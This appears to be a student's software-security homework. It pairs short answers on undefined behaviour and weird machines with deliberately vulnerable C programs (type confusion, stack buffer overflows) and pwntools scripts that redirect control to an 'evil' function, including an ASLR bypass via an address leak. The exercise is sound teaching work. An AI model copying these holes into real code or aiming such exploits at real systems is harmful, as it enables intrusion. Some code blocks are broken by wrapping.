Run-time Security

1.

a.

Generally, we should assume that it is insecure to run. While certain compilers may treat this specific scenario in a way that the UB is handled such that it is not vulnerable, others may compile it such that exploitation is possible.

b.

This depends on the scenario. If we know that our program is compiled and used such that the implementation defined-behavior does not introduce any vulnerabilty, this may be a viable approach to e.g., optimize an application. Although, generally speaking, the risk that another developer misuses the source code in a way that was not originally intended and not accounted for when leveraging implementation-defined behavior is high, it is clear that it should be avoided at all times.

c.

Dullien states that

> Now we consider an attacker that has the ability to somehow move the cpu into a weird state—a state that has no meaningful equivalent in the IFSM, and that will also not necessarily re-converge to a state that does.

Therefore, it becomes apparent that such a proof is impossible since the weird-machine exhibits behavior which is not intended of the IFSM.

2.

Dockerfile

```
FROM skysider/pwndocker:latest

WORKDIR /ctf/work

COPY overflow.c .
COPY overflow_b.c .
COPY overflow_c.c .
COPY tconfusion.c .
COPY exploit_no_pie.py .
COPY exploit_pie.py .
```

tconfusion.c

```c
#include<stdio.h>

struct THREE_NUMBERS {
    int a;
    int b;
    int c;
};

struct TWO_NUMBERS {
    int a;
    int b;
};

void increment_THREE_NUMBERS(void* ptr) {
    struct THREE_NUMBERS *data = (struct THREE_NUMBERS*) ptr;
    data->a++;
    data->b++;
    data->c++;
}

int main() {
    int secret_code = 0xdeadbeef;
    printf("value of secret code is %x\n", secret_code);
    struct TWO_NUMBERS data = {.a=0,.b=1};
    increment_THREE_NUMBERS(&data);
    printf("value of secret code is %x\n", secret_code);
}
```

overflow.c

```c
#include <stdio.h>
#include <string.h>

void can_you_do_it(char *arg)
{
    char buf[8];
    strcpy(buf, arg);
}

int main()
{
    char* arg = "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA";

    can_you_do_it(arg);

    puts("Just stop it already!");

    return 0;
}
```

3.

a.

overflow_b.c

```c
#include <stdio.h>
#include <string.h>


void evil() {
    puts("This should have had never happened");
}

void can_you_do_it()
{
    char buf[128];
    scanf("%s", buf);
}

int main()
{
    puts("I trust that you did not enter more than 127 chars ...");

    can_you_do_it();

    puts("Just stop it already!");

    return 0;
}
```

b.

exploit_no_pie.py

```python
#!/usr/bin/env python3
# -*- coding: utf-8 -*-
# This exploit template was generated via:
# $ pwn template
from pwn import *
import os

#os.system("gcc -m32 -fno-stack-protector -fno-pie overflow.c")
os.system("gcc -m32 -no-pie -fno-stack-protector overflow_b.c")

# Set up pwntools for the correct architecture
context.update(arch='i386')
```

```
exe = './a.out'

##================================================================
##                     EXPLOIT GOES HERE
##================================================================

# Generate a cyclic pattern so that we can auto-find the offset
payload = cyclic(256)
print(payload)

# Run the process once so that it crashes
io = process(['./a.out', payload])

# Get the core dump
print("I ran into problems to generate corefile inside docker. hence, I
manually executed the file in gdb with the paylaod printed above and
manually created the corefile from within gdb.")
exit()
core = Coredump('./core.278')

# Our cyclic pattern should have been used as the crashing address
assert pack(core.eip) in payload

# Cool! Now let's just replace that value with the address of 'evil'
crash = ELF('./a.out')

target_addr = crash.symbols.evil + core.exe.address if crash.pie else
crash.symbols.evil
payload = fit({
    cyclic_find(core.eip): target_addr
})
print("Address: ", hex(target_addr))

#payload = payload[:-2]+p32(core.eip)[:2]
# Get a shell!
print(payload)
io = process(['./a.out'])
io.sendline(payload)
io.wait()
print(io.recvline())
print(io.recvline())
# uid=1000(user) gid=1000(user) groups=1000(user)
```

c.

i.

The attack does not work any longer since we do not know the virtual address of the target function since it gets randomized epheremaly.

ii.

The attacker needs a leak of the current address randomization, which he can then use to calculate the position of the target executable. Since the offsets inside the .text section are constant even with ASLR enabled, the leak can be any address (variable, function ...) with a constant offset to the target function.

overflow_c.c

```c
#include <stdio.h>
#include <string.h>



void can_you_do_it()
{
    puts("Please input your message");
    char buf[128];
    scanf("%s", buf);
}

void evil() {
    puts("This should have had never happened");
}

int main()
{
    int dummy=-1;
    puts("I trust that you did not enter more than 127 chars ...");
    printf("Address of dummy: %p\n", &can_you_do_it);

    can_you_do_it();

    puts("Just stop it already!");

    return 0;
}
```

exploit_pie.py

```python
#!/usr/bin/env python3
# -*- coding: utf-8 -*-
# This exploit template was generated via:
# $ pwn template
from pwn import *
import os

#os.system("gcc -m32 -fno-stack-protector -fno-pie overflow.c")
os.system("gcc -m32 -pie -fpie -fno-stack-protector overflow_c.c")
```

```
# Set up pwntools for the correct architecture
context.update(arch='i386')
exe = './a.out'

##=================================================================
##                     EXPLOIT GOES HERE
##=================================================================

# Generate a cyclic pattern so that we can auto-find the offset
payload = cyclic(256)
print(payload)


# Get the core dump
print("Just like in the previous part I had some problems with making
corefiles work in docker. Hence, once again, copy the printed payload and
run the application in gdb, after which I manually created the corefile")
exit()
core = Coredump('./core.1155')

# Our cyclic pattern should have been used as the crashing address
assert pack(core.eip) in payload

# Cool! Now let's just replace that value with the address of 'evil'
crash = ELF('./a.out')

io = process(['./a.out'])
print(io.recvline())
leak = io.recvline()
leak = int(re.search(r'0x[A-Fa-f0-9]+', leak.decode("utf-8")).group()[2:],
16)
print("Leak virtual address of can_you_do_it: ", hex(leak))
print("Address of evil: ", hex(crash.symbols.evil))
print("Address of can_you_do_it: ", hex(crash.symbols.can_you_do_it))

target_addr = leak-(crash.symbols.can_you_do_it-crash.symbols.evil)
print("Address target: ", hex(target_addr))

payload = fit({
    cyclic_find(core.eip): target_addr
})
io.sendline(payload)
print(io.recvline())
print(io.recvline())
```